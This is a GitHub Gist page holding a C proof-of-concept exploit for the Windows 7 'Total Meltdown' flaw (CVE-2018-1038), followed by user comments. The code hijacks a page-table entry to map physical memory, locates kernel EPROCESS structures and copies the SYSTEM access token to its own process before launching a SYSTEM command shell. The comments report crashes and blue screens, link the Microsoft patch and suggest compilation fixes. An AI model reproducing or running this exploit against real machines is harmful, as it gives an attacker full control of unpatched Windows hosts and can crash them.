-
-
Save xpn/bdb99cee8895bab4b1a0671696570d94 to your computer and use it in GitHub Desktop.
#include "stdafx.h" | |
#define PML4_BASE 0xFFFFF6FB7DBED000 | |
#define PDP_BASE 0xFFFFF6FB7DA00000 | |
#define PD_BASE 0xFFFFF6FB40000000 | |
#define PT_BASE 0xFFFFF68000000000 | |
int main() | |
{ | |
printf("TotalMeltdown PrivEsc exploit by @_xpn_\n"); | |
printf(" paging code by @UlfFrisk\n\n"); | |
printf(" https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n"); | |
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD; | |
DWORD done; | |
// Check for vulnerability | |
__try { | |
int test = *(unsigned long long *)PML4_BASE; | |
} | |
__except (EXCEPTION_EXECUTE_HANDLER) { | |
printf("[X] Could not access PML4 address, system likely not vulnerable\n"); | |
return 2; | |
} | |
// setup: PDPT @ fixed hi-jacked physical address: 0x10000 | |
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry | |
// we can hijack. | |
for (iPML4 = 256; iPML4 < 512; iPML4++) { | |
vaPML4e = PML4_BASE + (iPML4 << 3); | |
if (*(unsigned long long *)vaPML4e) { continue; } | |
// When we find an entry, we add a pointer to the next table (PDPT), which will be | |
// stored at the physical address 0x10000 | |
*(unsigned long long *)vaPML4e = 0x10067; | |
break; | |
} | |
printf("[*] PML4 Entry Added At Index: %d\n", iPML4); | |
// Here, the PDPT table is referenced via a virtual address. | |
// For example, if we added our hijacked PML4 entry at index 256, this virtual address | |
// would be 0xFFFFF6FB7DA00000 + 0x100000 | |
// This allows us to reference the physical address 0x10000 as: | |
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100 | |
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3)); | |
printf("[*] PDPT Virtual Address: %p", vaPDPT); | |
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages | |
// Below is responsible for adding 31 entries to the PDPT | |
for (iPDPT = 0; iPDPT < 31; iPDPT++) { | |
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12); | |
} | |
// For each of the PDs, a further 512 PT's are created. This gives access to | |
// 512 * 32 * 2mb = 33gb physical memory space | |
for (iPDPT = 0; iPDPT < 31; iPDPT++) { | |
if ((iPDPT % 3) == 0) | |
printf("\n[*] PD Virtual Addresses: "); | |
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3)); | |
printf("%p ", vaPD); | |
for (iPD = 0; iPD < 512; iPD++) { | |
// Below, notice the 0xe7 flags added to each entry. | |
// This is used to create a 2mb page rather than the standard 4096 byte page. | |
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7; | |
} | |
} | |
printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n"); | |
#define EPROCESS_IMAGENAME_OFFSET 0x2e0 | |
#define EPROCESS_TOKEN_OFFSET 0x208 | |
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base | |
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0; | |
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3)); | |
STARTUPINFOA si; | |
PROCESS_INFORMATION pi; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
ZeroMemory(&pi, sizeof(pi)); | |
printf("[*] Hunting for _EPROCESS structures in memory\n"); | |
for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) { | |
__try { | |
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field | |
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) { | |
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { | |
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; | |
printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS); | |
} | |
} | |
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field | |
else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) { | |
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) { | |
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET; | |
printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS); | |
} | |
} | |
if (systemEPROCESS != 0 && ourEPROCESS != 0) { | |
// Swap the tokens by copying the pointer to System Token field over our process token | |
printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET); | |
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET); | |
printf("[*] Done, spawning SYSTEM shell...\n\n"); | |
CreateProcessA(0, | |
"cmd.exe", | |
NULL, | |
NULL, | |
TRUE, | |
0, | |
NULL, | |
"C:\\windows\\system32", | |
&si, | |
&pi); | |
break; | |
} | |
} | |
__except (EXCEPTION_EXECUTE_HANDLER) { | |
printf("[X] Exception occured, stopping to avoid BSOD\n"); | |
return 2; | |
} | |
} | |
return 0; | |
} |
I compiled with vs2012,it must be something wrong the code.
Problem signature:
Problem Event Name: APPCRASH
Application Name: cve-2018-1038.exe
Application Version: 0.0.0.0
Application Timestamp: 5ade000c
Fault Module Name: cve-2018-1038.exe
Fault Module Version: 0.0.0.0
Fault Module Timestamp: 5ade000c
Exception Code: c0000005
Exception Offset: 00001089
OS Version: 6.1.7601.2.1.0.256.48
Locale ID: 1033
Additional Information 1: 0a9e
Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
Additional Information 3: 0a9e
Additional Information 4: 0a9e372d3b4ad19135b953a78882e789
vaPML4e 18446734156630065160 unsigned __int64
Service pack has already been released - https://support.microsoft.com/en-us/help/4100480/windows-kernel-update-for-cve-2018-1038
Those having compilation issues may want to #include <windows.h>
.
Trying this out on a vulnerable 2008 R2 caused a BSOD.
As awify says When I compiled the code with VS2008 and VS2015 and test it on win-8-x64 I got the same result.
How can i fix it?
Problem signature:
Problem Event Name: APPCRASH
Application Name: TotalMeltdown.exe
Application Version: 0.0.0.0
Application Timestamp: 5ae00ae7
Fault Module Name: TotalMeltdown.exe
Fault Module Version: 0.0.0.0
Fault Module Timestamp: 5ae00ae7
Exception Code: c0000005
Exception Offset: 0000107e
OS Version: 6.1.7601.2.1.0.256.1
Locale ID: 1033
Additional Information 1: 0a9e
Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
Additional Information 3: 0a9e
Additional Information 4: 0a9e372d3b4ad19135b953a78882e789
@RaphaelVAnderson exploit affects only Windows 7
#include "stdafx.h"
Error: No such file or directory: stdafx.h
Can I just remove this line? If not, what do I need to replace it with? Or can I just download stdafx.h from somewhere?
AllKittyy
- try <stdafx.h>
- or delete this include, and write include <windows.h> , <stdio.h> and others
Wow. That is pretty straightforward and simple code. It is interesting that the code swaps tokens only after memory has been located which is to be viewed.